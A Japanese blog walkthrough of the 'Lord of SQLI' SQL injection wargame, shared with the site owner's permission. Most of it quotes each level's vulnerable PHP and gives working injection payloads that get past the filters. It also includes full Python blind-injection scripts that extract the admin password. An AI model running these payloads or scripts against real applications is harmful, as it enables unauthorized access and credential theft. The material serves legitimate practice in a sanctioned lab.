Load of SQLInjection の writeup というか walkthrough というか 復習記事というか。
最近 "The Lord of the SQLI" というサイトでSQL injectionの問題解いてる。全49問。まだ半分くらいなんだけど、とてもよい。問題がシンプルでわかりやすいし、だんだんレベルアップ or 手法が変わっていく感じも良い。自分で基礎から攻撃queryを組み立てる力がつく気がする。https://t.co/TR7wIoSWhV pic.twitter.com/IEH2Ws3dwc
— kusuwada (@kusuwada) 2020年8月7日
ということで、問題がシンプルで学習にとても良い SQLI injection の演習問題サイトです。wargameというジャンルっぽい。
扱いがわからなかったのでサイトオーナーに連絡したら「自由にwriteup書いていいよ!」とのことだったので公開。ありがたい!
かく言う私も他の人のwriteupを薄目で参考にしつつ進めました👍
初心者級の問題からあるので手がつけやすい。ファンタジー王道の魔物たちが、どんどんレベルアップして登場するのも面白い。グレムリンから始まってオーク・ゴーレム・ケルベロスなど。よくこんなにモンスター探したなぁ!
問題の意図を読み取るのがちょっと最初は手こずるけど、一度わかればOK。
ずっと問題の形式が同じだし、シンプルなので問題の意図がわかりやすくて良い。今まで、DBの種類もあまり意識しないまま、ただ知ってる攻撃クエリを並び立てて「当たればラッキー✌️」みたいな感じだったんだけど、これを1周やってみて、SQLとだいぶ仲良くなれた感じある。
ということで、まだの人は是非取り組んでみよう!!!
gremrin
query : select id from prob_gremlin where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>
問題ページはこの情報が書いてあるページのみ。やり方の説明とかは一切なし。urlクエリに直接id
,pw
を叩き込むっぽい。
pwに下記を詰めて送れば全レコード取れてクリア。
?pw='or 1#
※要url encode
すると、こんなクエリになるはず。
select id from prob_gremlin where id='' and pw=''or 1#'
cobolt
query : select id from prob_cobolt where id='' and pw=md5('')
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?>
pwが入力値をmd5ハッシュ化したものでクエリされる。しかもadminを抜かないといけないみたい。
pw部分のクエリをコメントで無効化すると良さそう。
select id from prob_cobolt where id='admin'#' and pw=md5('')
こうするために、
?id=admin'#
を代入。
#
はそのまま入れるとurlフラグメントとして解釈されてしまうので、これもエンコードする。
?id=admin%27%23
これで通った!
goblin
query : select id from prob_goblin where id='guest' and no=
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>
今度はid='guiest'
が固定で入っているのと、and no={no}
というのが続くだけとなっている。guestではなくadminを抜ければOK。
ちなみに ?no=1
で送ると Hello, guest. が表示されたので guest の no は 1。
?no=1' or id='admin'#
これを送ろうとurlエンコードして送ってみたら
?no=1%27+or+id=%27admin%27%23
No Quotes ~_~ と怒られた!この問題はクオートも使えないらしい!!!!
あ、でも待って。もともとのクエリもクオート無いじゃん。
and no={$_GET[no]}"
更に id='admin' みたいにしようとすると文字列変換で(回避策はあるけど)クオートが必要になるので、noで攻めるほうが良さそう。
noで攻めたいけど、id='admin'
みたいにクォートで文字列を表せないので、hexで送ってみる。
?no=0 or id=0x61646d696e
※no=1だと guestが引っかかってしまうため
?no=0+or+id=0x61646d696e
OK!!!!
orc
query : select id from prob_orc where id='admin' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello admin</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>
よし、この問題は No Quotes ~_~ じゃないぞ。
idはadminで固定、何かしらクエリの結果が返ってくれば、"Hello admin" を表示してくれる。
クリア条件はpw
の一致。これは blind injection でパスワードを位置文字ずつ当てていくやつだな!!!!
そろそろコード化しないときついやつ。
select id from prob_wolfman where id='guest' and pw=''or id='admin' and substr(pw,x,1)='x'
みたいになるように攻撃クエリを組み立てて、Blind SQL injectionする。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "'or id='admin' and substr(pw," + str(len(pw)) + ",1)='" + pw[-1] return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
実行結果
$ python orc.py 0 00 01 02 03 04 05 06 07 08 09 090 (中略) 095a9852! 095a9852? 095a9852& 095a9852# result: 095a9852
この結果を?pw=
に入れればクリアー🙌
wolfman
query : select id from prob_wolfman where id='guest' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>
今回はwhitespaceが使えないみたい。
whitespaceは/**/
で置き換えられるので、さっきのorcのクエリを、を
/**/
で置き換えてみる。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "'or/**/id='admin'/**/and/**/substr(pw," + str(len(pw)) + ",1)='" + pw[-1] return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
実行結果
$ python wolfman.py 0 1 2 3 (略) jfasdij23895u90dfg! jfasdij23895u90dfg? jfasdij23895u90dfg& jfasdij23895u90dfg# result: jfasdij23895u90dfg
出てきたpwをidとセットでurlにつける。
?pw='or/**/id='admin'/**/and/**/pw='jfasdij23895u90dfg
とクリア!
darkelf
query : select id from prob_darkelf where id='guest' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?>
今回もidはguest固定。adminがとたらOK。
or
,and
を入れたらだめらしい。orは ||
で置き換えられるかな?
?pw='||id='admin
orge
query : select id from prob_orge where id='guest' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); highlight_file(__FILE__); ?>
また or, and が使えない。
addslashes
は',",\,null
にバックスラッシュを付けるらしい。で、エスケープした後、今度はid=admin
として再度クエリを投げ、返ってきた結果のpw
とエスケープ後のpw
が一致しているかを確認してるみたい。
ということは、最終的に pw
には admin の pw
を入れる必要がある。
orcと同じくblind injectionで行けるかな。
orcのコードのor
とand
を||
,&&
に変更して回したら通った🙌
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "'||id='admin'&&substr(pw," + str(len(pw)) + ",1)='" + pw[-1] return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
troll
query : select id from prob_troll where id=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); $query = "select id from prob_troll where id='{$_GET[id]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("troll"); highlight_file(__FILE__); ?>
今度はクエリ文字に'
とadmin
が使えない。クエリは一番シンプルでidだけ指定するタイプ。
とってきたカラムのidがadmin
ならクリア。
そう言えば前の問題で大文字小文字がDBクエリ側では区別されてなかった、かつphp側では区別されるから、大文字なら通るのでは。
?id=Admin
とおった〜!!!
vampire
query : select id from prob_vampire where id=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); $_GET[id] = strtolower($_GET[id]); $_GET[id] = str_replace("admin","",$_GET[id]); $query = "select id from prob_vampire where id='{$_GET[id]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("vampire"); highlight_file(__FILE__); ?>
今回もパラメータはid
のみ。また'
が使えない。
更に大文字で通すさっきの手法は strtolower
でチェックされちゃうので使えない。
admin
を入れるとblankに置き換えられる。
2つに分けて間を消してもらう作戦。
?id=adadminmin
あどあどみんみん。いい感じ。クリアー!!!
skeleton
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?>
/prob
,_
,.
,()
が使えない。/prob
は全てのテーブル名についているので、テーブル名を指定させないためと思われる。
クエリは、id=guest 指定、pwは入力、うしろに and 1=0 なんてのがついている。このままでは何のレコードも取れないので、and 1=0 を無効化する必要がある。
?pw='or id='admin'#
コメントアウトで無効化してあげればOK
golem
query : select id from prob_golem where id='guest' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); highlight_file(__FILE__); ?>
使えない文字列は、さっきと同じ + or,and,substr(,=
。
最終的にadminのpasswordを手に入れる必要がある。substrを利用した今までのスクリプトが使えないなぁ。
更にid='admin'
も使えない。ので、like
で回避。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "'||id like 'admin%' && pw like '" + pw + "%" return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
通ったー🙌 楽しーなー!!!!!!
darkknight
なんか強そうなモンスターになってきた。
query : select id from prob_darkknight where id='guest' and pw='' and no=
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); highlight_file(__FILE__); ?>
わー、pw
に'
が使えません。もうダメだ…。あ、でも他の制約はないみたい。
他、no
は'
,substr
,ascii
,=
も使えない。
=
の代わりにlike
, 'admin'
のかわりに hex を使って
select id from prob_darkknight where id='guest' and pw='' and no=1 or id like 0x61646d696e
になるよう、?no=1 or id like 0x61646d696e
を送ってみると、Hello admin
が返ってきた🙌
こんな感じで、
select id from prob_darkknight where id='guest' and pw='' and no=1 or id like 0x61646d696e and pw like hex(x%)
みたいにすれば、blind injectionできそう!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse import binascii url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?no=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): hex_pw = '0x' + binascii.hexlify(pw.encode()+b'%').decode() query = "1 or id like 0x61646d696e && pw like " + hex_pw + "" return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
Yay🙌
ちなみに、上記は二周目の解き方。一周目は違うアプローチをしていたらしいので下記に記す。
とりあえず、何かクエリの結果を返してもらえないかというところで、no
に下記を入れるとguestが返ってくる。
query: ?no=1 or 1 limit 1 encoded: ?no=1+or+1+limit+1
-> Hello guest
ヨシ(๑•̀ㅂ•́)و✧
更に、indexを付けるとadminが返ってくる。
query: ?no=1 or 1 limit 1,1 encoded: ?no=1+or+1+limit+1%2C1
もしくはコレでもOK
query: ?no=1 or id like(0x61646d696e) encoded: ?no=1+or+id+like%280x61646d696e%29
-> Hello admin
問題はどうやってadminのpasswordをゲットするか。resultはidしか表示してくれません。substrの置き換えはsubstringでも出来るけど、mid()
というのが使えるかもしれないということでやってみる。
?no=1 or id like(hex('admin')) and mid(pw,1,try_pass_len) like(hex(try_pass))
このクエリをもとにpwを求めるスクリプトを書いたらイケた👍
bugbear
query : select id from prob_bugbear where id='guest' and pw='' and no=
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); highlight_file(__FILE__); ?>
またpw
に'
が使えません。
no
のほうには'
,substr
,ascii
,=
,or
,and
,,
like
,0x
が使えません。or
,and
は||
,&&
が使えそうだとして、0x
はどうしよう。char()
が使えるかな?likeは厳しいな。=
とlike
が使えない場合の回避を調べてみると、
- not in
- in
- between
等があるらしい。これは行けそう。
substr
の置き換えはmid
で。
いろいろな代替が出てきて勉強になるなぁ…!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?no=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "1||id/**/in(char(97,100,109,105,110))&&mid(pw," + str(len(pw)) + ",1)in(char(" + str(ord(pw[-1])) + "))" return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
フラグゲット٩(๑❛ᴗ❛๑)尸
giant
query : select 1234 fromprob_giant where 1
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(strlen($_GET[shit])>1) exit("No Hack ~_~"); if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result[1234]) solve("giant"); highlight_file(__FILE__); ?>
趣向がガラッと変わったようだ。今度の受け付けるクエリパラメータはshit
。
長さ(strlen
)は0か1じゃないといけないらしい。これは厳しい。
,
\n
, \r
, \t
が禁止されている。table名にこの shit が使われるみたいだ。
何かしら結果が取れればOK。
ブランクが入れられれば良さそうだけど禁止されているので、whitespaceの代替を探してみるとこれだけあった。
- %09
- %0D
- %0C
- %0B
- %0A
- %A0
順番に入れていったら、%0C
で発動した!
?shit=%0C
assassin
query : select id from prob_assassin where pw like ''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?>
like句でpasswordを探して取ってきて、adminが取れたらクリア。入力のpw
には'
は使えない。
なんでも取ってこれる%
を入れると、guestが釣れる。一文字目があってたら通るように、0%
みたいにして一文字目だけのbruteforceを実施(手動)すると、9から始まるのがguestのパスワードということがわかった。
そのまま続けるとadminのパスワードも判明するかと思ったけど、出てこなかった。
ちょっと悩んだ末、guestと最初の方は同じパスワードかもしれないと、guestで引いたパスワードも候補に残していくと、902%
でadminだけ引くことに成功👍
succubus
query : select id from prob_succubus where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/\'/',$_GET[id])) exit("HeHe"); if(preg_match('/\'/',$_GET[pw])) exit("HeHe"); $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("succubus"); highlight_file(__FILE__); ?>
id
,pw
ともに、_
,.
,()
,'
が入力禁止。
何かしらデータが取れればクリア。
'
が入力禁止なのでなかなかちゅらい。
色々試行錯誤してみたけどうーんよくわからん。でも挿入できるparameterが2つあるということは、協力して何かできないかな?ということで、前段のidの方に\
を挿入すると、idの後ろの方のシングルクォートがエスケープされて無効になる!すると、下記のようになるので、
id='\' and pw='hogehoge'
pwに入れたhogehoge部分は文字列としてではなく制御文字として扱われる👍
query: ?id=\&pw=or 1# encoded: ?id=%5C&pw=or+1%23
最後の#
はpwの後ろのシングルクオート無効化のため。
zombie_assassin
query : select id from prob_zombie_assassin where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); $_GET['id'] = strrev(addslashes($_GET['id'])); $_GET['pw'] = strrev(addslashes($_GET['pw'])); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("zombie_assassin"); highlight_file(__FILE__); ?>
入力文字列は、addslashes
でエスケープされてからstrrev
で逆順にされるみたいです。前回同様、_
,.
,()
が入力禁止。'
はエスケープされるけど使える。エスケープされるけど逆順になるので、有効にしたままにもできそう。
今回も何かしら結果が返ればOK。
目標とするクエリを組み立てて、そうなるように入力parameterを逆算してみる。
select id from prob_zombie_assassin where id='' and pw='' or 1#'
query: pw=' or 1# strrev: pw=#1 ro ' addslashes pw=#1 ro \'
うーん、これだと
query : select id from prob_zombie_assassin where id='' and pw=''\ or 1#'
\
が邪魔だな。
succbusのみたいに、idの後ろの'
を、他のエスケープされる文字"
を挟むことで無効化してみる。
query: ?id="&pw=#1 ro encoded: ?id="&pw=%231+ro
こう入力すると、クエリは下記のようになる。
query : select id from prob_zombie_assassin where id='"\' and pw='or 1#'
よっしゃクリア!
nightmare
query : select id from prob_nightmare where pw=('') and id!='admin'
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); if(strlen($_GET[pw])>6) exit("No Hack ~_~"); $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("nightmare"); highlight_file(__FILE__); ?>
今度は_
,.
,()
,#
,-
が使えない。あと6文字以内じゃないとだめ。何かデータが取れればOK。
admin以外にレコードがあれば、id!=admin
はそのまま放置しても大丈夫。
よく見たら、pw=('hogehoge')
みたいに、カッコで囲まれてるみたいだ。
query: ?pw=') or id like('g encoded: ?pw=%27%29+or+id+like%28%27g
みたいにしたらいけるかなー?と思ったら、6文字以下じゃないとだめなんだった、忘れてた…。
pwの評価が括弧で囲まれている事を利用して、
pw=('')=0
とすると、この式全体としてはTrueになるらしい。
('')=0
は、空文字列を数値に直そうとすると0になる(文字列と数値の比較の場合、MySQLの文字列と数値の比較は、まず文字列を数値にしようとするらしく、文字列の先頭に数値があればその数値、なければ0になる)ため、Trueとなる。すると、pw=真となって、クエリが正常に実行されるらしい。
また、この後をコメントアウトする必要があるが、#
や--
は使えない。そもそもこの時点で後2文字しか残っていない。こういう時は、NULLを送ってこれ以上のクエリ読み込みを阻止する。式を終わらせるためにセミコロンも付ける。
query: pw=')=0;%00
これは全然自力では解けなかった。知らないことだらけだったなー!
xavis
このモンスター知らないな…。
query : select id from prob_xavis where id='admin' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); highlight_file(__FILE__); ?>
今回はpw
に_
,.
,()
,regex
,like
が禁止されている。
adminのpwを最終的に入手する必要がある。
今までの問題との違いがよくわからないけど、blind injectionでsubstr使ってといたらできないんだろうか?
query: ?pw=' or id='admin'# encoded: ?pw=%27%20or%20id%3D%27admin%27%23
このクエリを投げると、無事adminが返ってくる。が、substrを投げると何もヒットしない。ううむ?
記号を増やしただけではびくともしない。もう少し範囲を増やして指定してみるが、255まで行ってもヒットしない。クエリにミスはなさそうだけど…?
ということでこれも結局writeupを見てしまった。なんとパスワードに使われているのがunicodeの範囲らしい。足りなかったわー。unicodeなので文字列比較もhexとかordでやってあげる。
ということで、range(40, 65535)
でかけ直してみた。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse import datetime url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 65535)] def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(try_pw): print(ord(try_pw[-1]),try_pw) attack_sql = "'or id='admin' and ord(substr(pw," + str(len(try_pw)) + ",1))=" + str(ord(try_pw[-1])) + "#" return attack(attack_sql) def check_result(res): if "Hello admin" not in res.text: return False return True def check_clear(fixed): attack_url = url + '?pw=' + fixed res = requests.get(attack_url, headers=headers) if "Clear!" in res.text: return True return False #################### ### main ### #################### dt_start = datetime.datetime.now() fixed = "" is_clear = False while not(is_clear): for c in candidates: try_pw = fixed + str(c) res = create_pass_query(try_pw) if check_result(res): fixed += c if check_clear(fixed): is_clear = True break print("pw: " + fixed) dt_end = datetime.datetime.now() print(dt_start) 